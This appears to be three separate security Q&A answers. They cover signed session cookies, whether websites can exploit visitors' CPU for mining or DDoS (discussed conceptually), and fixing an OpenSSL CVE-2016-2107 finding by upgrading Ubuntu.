Use a cryptographically safe cookie value such that modification of the value would invalidate the session. In other words

cookie = encrypt(username, expiration, secret)

Where only your application knows the secret. With that said, don't do this yourself. There are a ton of ways this can be done securely in MVC.


Can websites use the computing power of visitors?

Yes, you could by running JavaScript in the browser. But although JavaScript in the browser has seen many improvements it is probably not the most efficient language to run these kind of algorithms in. The same goes for flash. Now Java applets could be seen already as a better alternative, but the age of Java applets (and possibly flash) is about over. Furthermore, many web browsers now detect ill-behaving scripts.

As dave_thomson_085 indicates in his comment bitcoin mining is now almost exclusively performed on specially developed bitcoin mining hardware. Usually bitcoin mining is not very productive on general purpose computers, even when the computers aren't actually owned by the person doing the mining. That JavaScript has horrible performance with regards to cryptography  - compared to compiled languages with direct support for the underlying primitives - doesn't help here.

So I think DDoS attacks - that rely on the number of connections or the amount of data send (basically the bandwith of the upstream internet connection - are more likely applications for hijacked browsers. But yeah, you can use the resources that the host PC (to the script or application) makes available - of course.


This server is vulnerable to the OpenSSL Padding Oracle vulnerability (CVE-2016-2107) and insecure. Grade set to F

You are getting that result because you are using a vulnerable version of OpenSSL... if you check the OpenSSL Vulnerabilities page (search on page for 2107 to find this CVE), you'll see that it's not fixed until OpenSSL 1.0.2h. 1.0.2g is vulnerable. Why would you choose to wget 1.0.2g, anyhow? The current version of the 1.0.2 branch is 1.0.2j, which was released in late September.

If you're asking why the Ubuntu 14.04 repo has a dangerously outdated version of OpenSSL, I can only offer two responses:

You're using Ubuntu, which in my experience is not very good about backporting software to older versions (yes, even LTS versions). Once they cross the 24-month line, they drop you like a hot rock.
Your version of Ubuntu is 2.5 years old, and you should have moved to 16.04 (or 16.10).

OpenSSL 1.0.2h came out two months after 1.0.2g, and in that time crossed out of the two-year support window for the 14.04 Ubuntu build, so they stopped caring about it. Ubuntu 16.04 or 16.10 should be fine, or any distro that backports security fixes for more than two years (which, admittedly, not many do).

To upgrade, use the command sudo do-release-upgrade (see this page for more info) from the command line. LTS (Long-Term Support) builds will only upgrade to new LTS builds. The upgrade itself will take a while, but afterwards you will be running Ubuntu 16.04 and have access to its repositories. This will let you keep your software updated, at least until the support period for that version ends in another 17 months.

After upgrading, you should run sudo apt-get update && sudo apt-get upgrade again, to make sure all your packages are up to date.